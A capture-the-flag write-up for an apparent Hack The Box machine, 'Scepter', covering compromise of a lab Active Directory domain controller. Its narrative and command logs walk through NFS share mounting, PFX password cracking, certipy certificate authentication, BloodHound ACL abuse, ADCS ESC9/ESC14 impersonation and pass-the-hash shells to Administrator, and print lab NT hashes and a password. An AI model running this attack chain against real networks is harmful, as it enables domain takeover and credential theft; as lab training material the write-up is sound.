└─$ nmap -sT -p---min-rate 1000010.10.11.65-Pn -oA nmap_portsStarting Nmap 7.95( https://nmap.org ) at 2025-06-23 18:47 ISTWarning:10.10.11.65 giving up on port because retransmission cap hit (10).Nmap scan report for10.10.11.65Host is up (0.44s latency).Notshown:33674 closed tcp ports (conn-refused),31841 filtered tcp ports (no-response)PORTSTATESERVICE53/tcp open domain88/tcp open kerberos-sec111/tcp open rpcbind135/tcp open msrpc139/tcp open netbios-ssn445/tcp open microsoft-ds464/tcp open kpasswd5636/tcp open ldapssl2049/tcp open nfs3269/tcp open globalcatLDAPssl5985/tcp open wsman9389/tcp open adws49664/tcp open unknown49665/tcp open unknown49667/tcp open unknown49673/tcp open unknown49696/tcp open unknown49709/tcp open unknown49726/tcp open unknown49764/tcp open unknownNmapdone:1IPaddress (1 host up) scanned in 169.44 seconds
Port 2049
Let’s see the mount
We can see the helpdesk mount and everyone have the permission to view it
Foothold/shell
Shell as H.Brown
helpdesk mount
Let's mount the helpdesk share and take a look inside.
We can see .crt and .key for baker and .pfx file for clark, lewis and scott
Let’s view the certificate of baker
Let’s take a look at the key
attempting to authenticate via pfx
Since we have Clark, Lewis and Scott PFX files, we can try to authenticate
First, convert them into hash and use John to crack them
I was not able to authenticate via Clark, Lewis and Scott PFX files
Let’s make PFX for baker
PFX for baker
When prompted for passphrase, we can provide the password of clark, lewos and scott pfx and when prompt for export password let’s keep it empty
Let’s change the permission for pfx
Now we can use certipy to get the hash from the pfx
We can successfully authenticate via this hash
Bloodhound
Since we authenticate as ldap we can use bloodhound-python
We can see D.BAKER@SCEPTER.HTB -> ForceChangePassword -> A.CATER@SCEPTOR.HTB
ForceChangePassword
We will change the password for a.carter
Bloodhound again with new cred
GenericALL
We can see A.CARTER@SCEPTER.HTB -> MemberOf -> IT SUPPORT@SCEPTER.HTB -> GenericAll -> STAFF ACCESS CERTIFICATE@SCEPTER.HTB
grant a.carter full control (GenericAll) over the Organizational Unit (OU) called STAFF ACCESS CERTIFICATE By giving a.carter GenericAll on that OU:
You gain the ability to abuse ADCS (Active Directory Certificate Services).
You can impersonate users via certificates.
A Staff Access Certificate, in the context of AD CS, is a certificate issued to individual staff members to grant them access to specific resources or applications within the organization's network. These certificates are typically used for authentication purposes, allowing staff to prove their identity and gain access to authorized areas.
ESC9
I try to find ADCS vulnerability so I tried with .carter and d.baker, both we found ESC9 from Baker’s cred
and we have GenericAll on StaffAccessCertificate, also, we can see
Certificate Name Flag : SubjectAltRequireEmail
Since a.carter have GenericAll on STAFF ACCESS CERTIFICATE@SCEPTER.HTB and we want d.baker to have that access we can use impacket-dacledit with -inheritance to get FullControl over d.baker, who is also a member of STAFF ACCESS CERTIFICATE OU
Feature
bloodyAD GenericAll
impacket-dacledit with -inheritance
Affects Only Target Object
✅ Yes
✅ Yes
Affects Child Objects
❌ No
✅ Yes (if -inheritance used and not blocked)
Grants Access Type
GenericAll (standard right)
Custom ACL entry (FullControl, but customizable)
Method Used
Direct AD right via DACL
Explicit ACL modification via DACL
AdminCount Bypass Warning
❌ No warning
⚠️ Warns about adminCount=1 (inhibits inheritance)
Now we need to set the email of controlled account to that of target
Let’s try for administrator
now we can request the pfx
But when I try to get the hash, it says Name mismatch between certificate and user 'administrator', which was strange
Let’s try with a different user’s email
Let’s start with h.brown
Now we can try to get the hash
Now we can get the shell
found user.txt
Privilege Escalation
ESC9 with modification (ESC14)
On looking at ldapdomaindump, we could abuse ESC9 for the account h.brown because it was the only account with an LDAP attribute altSecurityIdentities set to X509:<RFC822>h.brown@scepter.htb
h.brown is a member of the group CMS.
Let’s check ACE for CMS group
The line SCEPTER\CMS has WriteProperty on 00fbf30c-91fe-11d1-aebc-0000f80367c1 - Target: CN=p.adams,OU=Helpdesk Enrollment Certificate,DC=scepter,DC=htb tells us that SCEPTER\CMS has write access to altSecurityIdentities on p.adams
So if we can change/add altSecurityIdentities for p.adams we can get the hash and we know that p.adams has DCsync Rights
Now for ESC9 we need to update the email for d.baker
└─$ nmap -sC -sV -p 53,88,111,135,139,445,464,636,2049,3269,5985,9389,49664,49665,49667,49673,49696,49709,49726,49764 10.10.11.65 -Pn -oA nmap_port_details
Starting Nmap 7.95 ( https://nmap.org ) at 2025-06-23 18:51 IST
Nmap scan report for 10.10.11.65
Host is up (0.63s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-06-23 21:24:31Z)
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/tcp6 rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 2,3,4 111/udp6 rpcbind
| 100003 2,3 2049/udp nfs
| 100003 2,3 2049/udp6 nfs
| 100003 2,3,4 2049/tcp nfs
| 100003 2,3,4 2049/tcp6 nfs
| 100005 1,2,3 2049/tcp mountd
| 100005 1,2,3 2049/tcp6 mountd
| 100005 1,2,3 2049/udp mountd
| 100005 1,2,3 2049/udp6 mountd
| 100021 1,2,3,4 2049/tcp nlockmgr
| 100021 1,2,3,4 2049/tcp6 nlockmgr
| 100021 1,2,3,4 2049/udp nlockmgr
| 100021 1,2,3,4 2049/udp6 nlockmgr
| 100024 1 2049/tcp status
| 100024 1 2049/tcp6 status
| 100024 1 2049/udp status
|_ 100024 1 2049/udp6 status
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-06-23T21:25:51+00:00; +8h02m51s from scanner time.
2049/tcp open nlockmgr 1-4 (RPC #100021)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: scepter.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc01.scepter.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc01.scepter.htb
| Not valid before: 2024-11-01T03:22:33
|_Not valid after: 2025-11-01T03:22:33
|_ssl-date: 2025-06-23T21:25:52+00:00; +8h02m52s from scanner time.
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49673/tcp open msrpc Microsoft Windows RPC
49696/tcp open msrpc Microsoft Windows RPC
49709/tcp open msrpc Microsoft Windows RPC
49726/tcp open msrpc Microsoft Windows RPC
49764/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC01; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
| smb2-time:
| date: 2025-06-23T21:25:40
|_ start_date: N/A
|_clock-skew: mean: 8h02m51s, deviation: 0s, median: 8h02m50s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 464.81 seconds
└─$ showmount -e 10.10.11.65
Export list for 10.10.11.65:
/helpdesk (everyone)
└─$ sudo mount -t nfs 10.10.11.65:/helpdesk /mnt/
└─$ sudo ls /mnt
baker.crt baker.key clark.pfx lewis.pfx scott.pfx
└─$ pfx2john lewis.pfx | tee -a lewishash
└─$ pfx2john clark.pfx | tee -a clarkhash
└─$ pfx2john scott.pfx| tee -a scotthash
┌──(anurag㉿anurag)-[~/htb/Scepter]
└─$ john lewishash --wordlist=/home/anurag/stuff/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (lewis.pfx)
1g 0:00:00:00 DONE (2025-06-23 19:45) 2.173g/s 11686p/s 11686c/s 11686C/s Liverpool..ginuwine
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(anurag㉿anurag)-[~/htb/Scepter]
└─$ john clarkhash --wordlist=/home/anurag/stuff/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (clark.pfx)
1g 0:00:00:00 DONE (2025-06-23 19:45) 2.500g/s 13440p/s 13440c/s 13440C/s Liverpool..ginuwine
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
┌──(anurag㉿anurag)-[~/htb/Scepter]
└─$ john scotthash --wordlist=/home/anurag/stuff/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 256/256 AVX2 8x])
Cost 1 (iteration count) is 2048 for all loaded hashes
Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes
Will run 3 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
newpassword (scott.pfx)
1g 0:00:00:00 DONE (2025-06-23 19:46) 1.923g/s 10338p/s 10338c/s 10338C/s Liverpool..ginuwine
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
└─$ openssl pkcs12 -export -out baker.pfx -inkey baker.key -in baker.crt
Enter pass phrase for baker.key:
Enter Export Password:
Verifying - Enter Export Password:
chmod 700 baker.pfx
└─$ certipy auth -pfx baker.pfx -dc-ip 10.10.11.65
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'd.baker@scepter.htb'
[*] Security Extension SID: 'S-1-5-21-74879546-916818434-740295365-1106'
[*] Using principal: 'd.baker@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'd.baker.ccache'
[*] Wrote credential cache to 'd.baker.ccache'
[*] Trying to retrieve NT hash for 'd.baker'
[*] Got hash for 'd.baker@scepter.htb': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
└─$ bloodhound-python -u 'd.baker' --hashes :18b5fb0d99e7a475316213c15b6f22ce -d Scepter.htb -ns 10.10.11.65 -c All --zip
INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3)
INFO: Found AD domain: scepter.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.scepter.htb
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 1 computers
INFO: Connecting to LDAP server: dc01.scepter.htb
INFO: Found 11 users
INFO: Found 57 groups
INFO: Found 2 gpos
INFO: Found 3 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: dc01.scepter.htb
INFO: Done in 01M 22S
INFO: Compressing output into 20250624042828_bloodhound.zip
─$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -ca scepter-DC01-CA -template StaffAccessCertificate
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The resolution lifetime expired after 5.401 seconds: Server Do53:192.168.1.1@53 answered The DNS operation timed out.; Server Do53:192.168.1.1@53 answered The DNS operation timed out.; Server Do53:192.168.1.1@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 2
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
[*] Wrote certificate and private key to 'd.baker.pfx'
─$ certipy auth -pfx d.baker.pfx -domain scepter.htb -username Administrator -dc-ip '10.10.11.65'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'administrator@scepter.htb'
[*] Trying to get TGT...
[-] Name mismatch between certificate and user 'administrator'
[-] See the wiki for more information
h.brown
p.adams
e.lewis
o.scott
M.clark
└─$ cat h_brown_mail.ldif
dn: CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb
changetype: modify
replace: mail
mail: h.brown@scepter.htb
└─$ ldapmodify -x -H ldap://10.10.11.65 -D 'scepter\a.carter' -w 'P@ssw0rd@123' -f h_brown_mail.ldif
modifying entry "CN=d.baker,OU=Staff Access Certificate,DC=scepter,DC=htb"
┌──(anurag㉿anurag)-[~/htb/Scepter]
└─$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -ca scepter-DC01-CA -template StaffAccessCertificate
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The resolution lifetime expired after 5.407 seconds: Server Do53:192.168.1.1@53 answered The DNS operation timed out.; Server Do53:192.168.1.1@53 answered The DNS operation timed out.; Server Do53:192.168.1.1@53 answered The DNS operation timed out.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 4
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
File 'd.baker.pfx' already exists. Overwrite? (y/n - saying no will save with a unique filename): y
[*] Wrote certificate and private key to 'd.baker.pfx'
└─$ certipy auth -pfx d.baker.pfx -domain scepter.htb -username h.brown -dc-ip '10.10.11.65'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'h.brown@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'h.brown.ccache'
[*] Wrote credential cache to 'h.brown.ccache'
[*] Trying to retrieve NT hash for 'h.brown'
[*] Got hash for 'h.brown@scepter.htb': aad3b435b51404eeaad3b435b51404ee:4ecf5242092c6fb8c360a08069c75a0c
└─$ netexec smb 10.10.11.65 -u a.carter -p 'P@ssw0rd@123' --generate-krb5-file ./krb5.conf
SMB 10.10.11.65 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:scepter.htb) (signing:True) (SMBv1:False)
SMB 10.10.11.65 445 DC01 [+] scepter.htb\a.carter:P@ssw0rd@123
┌──(anurag㉿anurag)-[~/htb/Scepter]
└─$ export KRB5_CONFIG=./krb5.conf
┌──(anurag㉿anurag)-[~/htb/Scepter]
└─$ export KRB5CCNAME=h.brown.ccache
┌──(anurag㉿anurag)-[~/htb/Scepter]
└─$ evil-winrm -i dc01.scepter.htb -k -f h.brown.ccache -r scepter.htb
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Warning: Useless cert/s provided, SSL is not enabled
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\h.brown\Documents>
└─$ certipy req -username d.baker@scepter.htb -hashes :18b5fb0d99e7a475316213c15b6f22ce -ca scepter-DC01-CA -template StaffAccessCertificate
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[!] DNS resolution failed: The DNS query name does not exist: SCEPTER.HTB.
[!] Use -debug to print a stacktrace
[*] Requesting certificate via RPC
[*] Request ID is 9
[*] Successfully requested certificate
[*] Got certificate without identity
[*] Certificate has no object SID
[*] Try using -sid to set the object SID or see the wiki for more details
[*] Saving certificate and private key to 'd.baker.pfx'
[*] Wrote certificate and private key to 'd.baker.pfx'
└─$ certipy auth -pfx d.baker.pfx -domain scepter.htb -username p.adams -dc-ip '10.10.11.65'
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] No identities found in this certificate
[!] Could not find identity in the provided certificate
[*] Using principal: 'p.adams@scepter.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'p.adams.ccache'
[*] Wrote credential cache to 'p.adams.ccache'
[*] Trying to retrieve NT hash for 'p.adams'
[*] Got hash for 'p.adams@scepter.htb': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
└─$ evil-winrm -i 10.10.11.65 -u administrator -H a291ead3493f9773dc615e66c2ea21c4
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents>